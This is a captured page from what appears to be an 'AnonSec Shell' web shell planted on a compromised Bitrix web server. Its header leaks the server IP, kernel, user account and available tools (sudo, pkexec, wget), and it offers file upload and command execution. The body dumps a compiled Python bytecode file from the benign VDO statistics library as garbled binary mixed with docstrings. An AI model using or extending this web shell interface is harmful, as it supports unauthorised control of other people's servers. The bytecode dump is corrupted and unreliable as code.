AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.119.118.206
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/979/cwd/lib/python2.7/site-packages/vdo/statistics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/979/cwd/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyo
�
.�t_c@s�dZddlTddlZddlZddlZddlZddlmZddlmZdefd��YZ	defd	��YZ
d
efd��YZdS(s�
  StatStruct -- classes for sampling statistics from a VDO via ioctls

  $Id: //eng/vdo-releases/magnesium/src/python/vdo/statistics/StatStruct.py#2 $
i����(t*N(tField(tLabeledValuetSamplescBs\eZdZd�Zd�Zd�Zeed��Zeed��Z	ed��Z
RS(sD
  An object which represents a collection of samples from a VDO.
  cCsF|d|_g|D]%}|jtjj|d��^q|_dS(s�
    Create a new set of samples by sampling a VDO device.

    :param assays:    The types of samples to take
    :param devices:   The device to sample (a dictionary containing
                      the user-supplied name and the name to use for sampling)
    :param mustBeVDO: If set to False, errors resulting from the device not
                      being a VDO will be suppressed
    tusertsampleN(tdeviceRtostpathtbasenametsamples(tselftassaysRt	mustBeVDOtassay((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyt__init__'s

cCs|jS(s\
    Get the name of the device which was sampled.

    :return: The name of the device
    (R(R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyt	getDevice5scCs|jS(sS
    Get the list of samples for the device.

    :return: The list of samples
    (R
(R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyt
getSamples=scCs�yt|||�SWnftk
r|}|d}|jdkra|r]tdj|���ndStdj||���nXdS(s�
    Assay a device.

    :param assays:    The types of samples to take
    :param devices:   The device to sample (a dictionary containing
                      the user-supplied name and the name to use for sampling)
    :param mustBeVDO: If set to False, errors resulting from the device not
                      being a VDO will be suppressed

    :return: The results of the assays or None if the device is not a VDO and
             mustBeVDO is set to False
    RisDevice {0} is not a VDOsError sampling device {0}: {1}N(RtIOErrorterrnot	ExceptiontformattNone(RRR
tioeR((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyREs
cCs/tdg|D]}tj|||�^q
�S(s�
    Assay a list of devices.

    :param assays:    The types of samples to take
    :param devices:   The devices to sample (a list of dictionaries containing
                      the user-supplied name and the name to use for sampling)
    :param mustBeVDO: If set to False, errors resulting from the device not
                      being a VDO will be suppressed

    :return: The results of the assays or None if the device is not a VDO and
             mustBeVDO is set to False
    N(tfilterRRR(RtdevicesR
R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pytassayDevices]s	cCsi|d6|d6S(s�
    Returns a dictionary used for sampling purposes.

    The dictionary is structured as:
      { "user"   : <user-specified name>,
        "sample" : <sample name> }

    The user-specified name is used for display purposes.
    The sample name is used to perform the actual sampling.
    The two names may be identical.

    :param user:    user-specified name
    :param sample:  the name to use for sampling

    :return:  A sampling dictionary.
    RR((RR((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pytsamplingDevicens(t__name__t
__module__t__doc__RRRtstaticmethodtTrueRRR(((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR#s			tSamplecBs;eZdZd�Zd�Zd�Zd�Zd�ZRS(sB
  An object which represents a single sample (ioctl) of a VDO.
  cCs||_||_dS(s�
    Create a new sample.

    :param statStruct: The structure representing the type of this sample
    :param sample:     The sampled values
    N(t
statStructR(RR"R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR�s	cCs|jS(s�
    Get the object representing the type of this sample.

    :return: The StatStruct which represents the type of this sample
    (R"(R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pytgetType�scCs|jj|j�S(s
    Get the sampled values as a collection of LabeledValues.

    :return: A LabeledValue representing the sampled values
    (R"tlabeledR(R((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR$�scCsNt|t�s|j|S|j}x|d D]}||}q.W||dS(s
    Get the value of a named statistic.

    :param statName:     The name of the statistic, either as a string, or as
                         a list of strings, one for each level of the sample
                         hierarchy

    :return: The value of the named statistic
    i����(t
isinstancetlistR(RtstatNametstatstname((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pytgetStat�s
	cCs|j|�|j|�kS(sd
    Check whether the value of a given statistic is the same in this sample
    and some other sample.

    :param other: The other sample
    :param statName: The name of the statistic as would be specified to
                     getStat()

    :return: True if the value of the named statistic is the same in this and
             the other sample
    (R*(RtotherR'((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyt	statEqual�s(RRRRR#R$R*R,(((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR!�s	
			t
StatStructcBsVeZdZiZd�Zd�Zd�Zd�Zd�Zd�Z	dd�Z
RS(	s�
  Base class for objects representing a VDO statistics structure. This object
  can be used to sample a VDO via an ioctl and convert the result from the
  C format in the ioctl to a Sample object.
  cKs�|jdd�}|dkr(|dnd|_|jdd�|_|jdd�|_|jdd�|_||_tt|�j	||j
�|�t�|_x|D]}||j|j
<q�WdS(s�
    Create a new statistics structure.

    :param name:     The name of statistics structure
    :param fields:   A list of Field objects specifying the format of the C
                     structure returned by the ioctl
    :param **kwargs: Keyword args which may be:
                       labelPrefix: The prefix to prepend to the label for
                                    each field in this structure
                       ioctl:       The value of the ioctl to use for sampling
                                    a VDO
                       Field:       Any of the keyword arguments for the Field
                                    base class
    tlabelPrefixt ttioctltprocFiletprocRootN(tpopRR.R1R2R3tfieldstsuperR-Rt
_getCClasstdicttfieldsByNameR)(RR)R5tkwargsR.tfield((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR�s	"
cCs�t|�jd}|jj|�}|s�g|jD]!}|jr5|j|jf^q5}t|tfi|d6�}||j|<n|S(s�
    Get the Structure class which represents the C struct for a StatStruct
    or Field. If the Structure class hasn't yet been made for the given type,
    it will be created.

    :return: The class defined by the specified set of Fields
    s.ct_fields_(	ttypeRtcClassestgetR5tinStructR)tcTypet	Structure(Rt	classNameRAR;t	fieldList((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR7�s!cCs_|j�}tjjd|j||j�}t|d��}|j|�WdQX|j|�S(s�
    Get a sample from a VDO via an ioctl.

    :param name: The name of the proc directory from which to read

    :return: The sample
    s/proctrbN(	RARRtjoinR3R2topentreadintot_extract(RR)R(tprocPathtfd((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR�s
!cCsCt�}x*|jD]}|j||�||j<qWt||�S(s�
    Extract the sampled values from the return of an ioctl call.

    :param stats: The structure returned from an ioctl

    :return: The sample as a Sample
    (R8R5t
extractSampleR)R!(RR(RR;((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyRIs	cCs�t||j|�}|jdkrS||krSg|D]}|j||�^q7St�}x*|jD]}|j||�||j<qfW|S(s
    :inherit:
    i(tgetattrR)tlengthRLR8R5(RR(tparenttmyStatstsRR;((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyRLs#	cCs|j|j||�S(s
    Get the value of one of the fields at the current level of the C structure
    from the ioctl.

    :param stats:     The current level of the C structure
    :param fieldName: The name of the field to get

    :return: The value of the specified field
    (R9RL(RR(t	fieldName((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pytgetSampleValue$s
R0cCs�||j7}||j}t|t�rQg|D]}|j||�^q0}n8g|jD](}|jr[|j||j|�^q[}tj	||�S(s
    :inherit:
    (
R.tlabelR%R&R$R5tdisplayR)Rtmake(RRtprefixRTRQt
labeledFieldsR;((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR$0s

(5(RRRR>RR7RRIRLRSR$(((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyR-�s				
		(RtctypestcollectionstfcntlRtsysRRtobjectRR!R-(((s=/usr/lib/python2.7/site-packages/vdo/statistics/StatStruct.pyt<module>s
_>

Anon7 - 2022
AnonSec Team